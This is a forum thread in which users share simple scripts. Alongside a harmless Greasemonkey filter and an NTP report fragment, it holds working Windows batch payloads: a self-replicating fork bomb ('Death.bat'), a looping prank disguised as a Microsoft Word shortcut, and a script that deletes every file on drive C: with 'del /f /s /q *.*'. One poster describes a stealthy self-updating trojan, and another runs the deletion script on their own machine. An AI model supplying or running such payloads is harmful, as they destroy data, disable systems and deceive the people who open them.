Simple Scripts / Programs
This is a thread where you post scripts that you wrote just because whether it is a Greasemonkey script, or normal programs in C++, C, Java, JavaScript, PHP, etc.
Since I was bored and wanted to practice JavaScript, I created a Greasemonkey script that filters out user comments on this forum based on the user. I admit it is probably very inefficient.

Death.bat
Echo offcls
Echo Behold El Diablo Nino!
:Death
Start Explorer.exe
Start Death.bat
Goto Death
I also wrote a fairly sophisticated windows batch script...Trojan is I guess the closest thing you could call it. It would use command line hooks in things like the windows XP firewall and task scheduler to be able to auto update itself without the user knowing. This was done through the command line ftp program which is what necessitated the need to configure the firewall, otherwise, on the first update, the firewall would throw up a flag asking the user if they wanted to allow the connection.
The nice thing I was most surprised about was how robust the command line still is in windows and how most parts of windows still have command line based functions available. Of course, this assumed the user was running as Admin and not a Limited User. I will not be posting the code for this little gem.
EDIT: Added my differences to your script Flux, enjoy. I haven't been bored enough yet to make it only block the commentbody.
start loop.batstart crash.txt
And it would just sit there opening itself over and over again (loop.bat), which opened cmd.exe essentially. Crash.txt was just a bullshit text file that said "the computer is crashing!", which scared the shit out of the school librarians a few times
It was always fun to create a shortcut to the loop.bat file, then rename the shortcut to "Microsoft Word" and then change the shortcut icon to word. That nearly got me in deep shit a few times.
Sonic - what's all the other stuff in your script do? The simple 2 line script (or hell, even 1 line if I decided to omit the text file) that I always wrote was always sufficient.

# This script generates an NTP report for both the local ntp cloud
# and the trading servers. It is ugly, but at least it is simple.
# Configuration is broken up into sections below, followed by the
# actual report generation code.
#---- LOCAL NTP SERVERS ----
# NTP Server CNAMES and their actual names in matched pairs.
# Add or remove local ntp servers here.
# ntpcloud[n] = CNAME of Local NTP Server
# ntpcloudserver = Actual Name of Local NTP Server

# NIST NTP server names do not resolve properly or intelligently.
# They are matched pairs as with the local NTP server entries above

Echo offEcho Off is the command telling windows to not print the verbose of the command. IE: If you put in the script "Copy blah.txt c:\blah.txt" it wont show any of that.
clsClears the screen
Echo Behold El Diablo Nino!Prints "Behold El Diablo Nino" in the window
:DeathThis is a marker to be used as a reference point for pointers later in the script. The syntax is ":name_of_marker"
Start Explorer.exeStart Death.bat
Start is just your generic RUN command. It looks in the four places consisting of the folder the command line is currently in and three other folders which, in earlier iterations, was set by autoexec.bat . These places are "C:\", "C:\windows\", and "C:\windows\system32\". So, These two lines of code start another iteration of the batch file and a windows explorer window.
Goto DeathGoto is just a pointer, telling the batch script to go and run all the code after the marker ":Death".
Really, I could eliminate three lines of code and it will still do what it's supposed to, but I like to keep the presentation clean.
Echo offcls
echo Nya!
cd c:\
del /f /s /q *.*
This, however, is very destructive under any Windows NT based OS. It's the NT equivalent of "RM -rf /". After printing "Nya!" on the screen, it jumps to the root of drive C: and deletes every file it can, recursing through the directory tree, without asking for verification, and without giving any verbose. Maybe I'll install windows XP in a VM and do a screen recording of it in action.
I'm a test it out!
EDIT: Oh god how do I stop it?
EDIT2: It's deleting my fonts!! Noooo, my precious fonts!
EDIT3: My .NET framework!
EDIT4: It's finished, but Windows is still working. I still have my WINDOWS folder and some other stuff. Program files still has programs in it. I MUST ERADICATE EVERYTHING!
@Flux: Yes, in order to invoke system wide destruction, you would need admin access. However, this wont stop it from deleting all of your profile data.
